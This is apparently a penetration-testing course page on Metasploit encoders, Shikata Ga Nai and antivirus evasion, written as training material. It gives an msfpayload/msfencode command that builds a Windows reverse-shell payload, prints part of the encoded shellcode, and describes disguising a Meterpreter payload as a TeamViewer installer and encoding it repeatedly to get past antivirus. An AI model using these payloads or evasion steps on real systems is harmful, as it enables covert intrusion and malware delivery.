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Encoders

Over the 15 years of existence of the Metasploit Framework, Encoders have assisted with making payloads compatible with different processor architectures while at the same time helping with antivirus evasion. Encoders come into play with the role of changing the payload to run on different operating systems and architectures. These architectures include:

x64

x86

sparc

ppc

mips

They are also needed to remove hexadecimal opcodes known as bad characters from the payload. Not only that but encoding the payload in different formats could help with the AV detection as mentioned.

Shikata Ga Nai (SGN) is one of the most utilized Encoding schemes today because it is so hard to detect that payloads encoded through its mechanism are not universally undetectable anymore. Far from it. The name (仕方がない) means It cannot be helped or Nothing can be done about it, and rightfully so if we were reading this a few years ago. However, there are other methodologies we will explore to evade protection systems. This article from FireEyearrow-up-right details the why and the how of Shikata Ga Nai's previous rule over the other encoders.

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Selecting Encoders

Before 2015, the Metasploit Framework had different submodules that took care of payloads and encoders. They were packed separately from the msfconsole script and were called msfpayload and msfencode. These two tools are located in /usr/share/framework2/.

If we wanted to create our custom payload, we could do so through msfpayload, but we would have to encode it according to the target OS architecture using msfencode afterward. A pipe would take the output from one command and feed it into the next, which would generate an encoded payload, ready to be sent and run on the target machine.

anonmak9@htb[/htb]$ msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00' -f perl -e x86/shikata_ga_nai

[*] x86/shikata_ga_nai succeeded with size 1636 (iteration=1)

my $buf = 
"\xbe\x7b\xe6\xcd\x7c\xd9\xf6\xd9\x74\x24\xf4\x58\x2b\xc9" .
"\x66\xb9\x92\x01\x31\x70\x17\x83\xc0\x04\x03\x70\x13\xe2" .
"\x8e\xc9\xe7\x76\x50\x3c\xd8\xf1\xf9\x2e\x7c\x91\x8e\xdd" .
"\x53\x1e\x18\x47\xc0\x8c\x87\xf5\x7d\x3b\x52\x88\x0e\xa6" .
"\xc3\x18\x92\x58\xdb\xcd\x74\xaa\x2a\x3a\x55\xae\x35\x36" .
"\xf0\x5d\xcf\x96\xd0\x81\xa7\xa2\x50\xb2\x0d\x64\xb6\x45" .
"\x06\x0d\xe6\xc4\x8d\x85\x97\x65\x3d\x0a\x37\xe3\xc9\xfc" .
"\xa4\x9c\x5c\x0b\x0b\x49\xbe\x5d\x0e\xdf\xfc\x2e\xc3\x9a" .
"\x3d\xd7\x82\x48\x4e\x72\x69\xb1\xfc\x34\x3e\xe2\xa8\xf9" .
"\xf1\x36\x67\x2c\xc2\x18\xb7\x1e\x13\x49\x97\x12\x03\xde" .
"\x85\xfe\x9e\xd4\x1d\xcb\xd4\x38\x7d\x39\x35\x6b\x5d\x6f" .
"\x50\x1d\xf8\xfd\xe9\x84\x41\x6d\x60\x29\x20\x12\x08\xe7" .
"\xcf\xa0\x82\x6e\x6a\x3a\x5e\x44\x58\x9c\xf2\xc3\xd6\xb9" .

<SNIP>

After 2015, updates to these scripts have combined them within the msfvenom tool, which takes care of payload generation and Encoding. We will be talking about msfvenom in detail later on. Below is an example of what payload generation would look like with today's msfvenom:

We should now look at the first line of the $buf and see how it changes when applying an encoder like shikata_ga_nai.

If we want to look at the functioning of the shikata_ga_nai encoder, we can look at an excellent post herearrow-up-right.

we can use the show encoders command within the msfconsole to see which encoders are available for our current Exploit module + Payload combination.

For example, now if we check it with the exploit/payload MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference Exploit:

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Detection

If we were to encode an executable payload only once with SGN, it would most likely be detected by most antiviruses today. Let's delve into that for a moment. Picking up msfvenom, the subscript of the Framework that deals with payload generation and Encoding schemes, we have the following input:

This will generate a payload with the exe format, called TeamViewerInstall.exe, which is meant to work on x86 architecture processors for the Windows platform, with a hidden Meterpreter reverse_tcp shell payload, encoded once with the Shikata Ga Nai scheme. Let us take the result and upload it to VirusTotal.

One better option would be to try running it through multiple iterations of the same Encoding scheme using the -i option

As we can see, it is still not enough for AV evasion. There is a high number of products that still detect the payload. Alternatively, Metasploit offers a tool called msf-virustotal that we can use with an API key to analyze our payloads. However, this requires free registration on VirusTotal.

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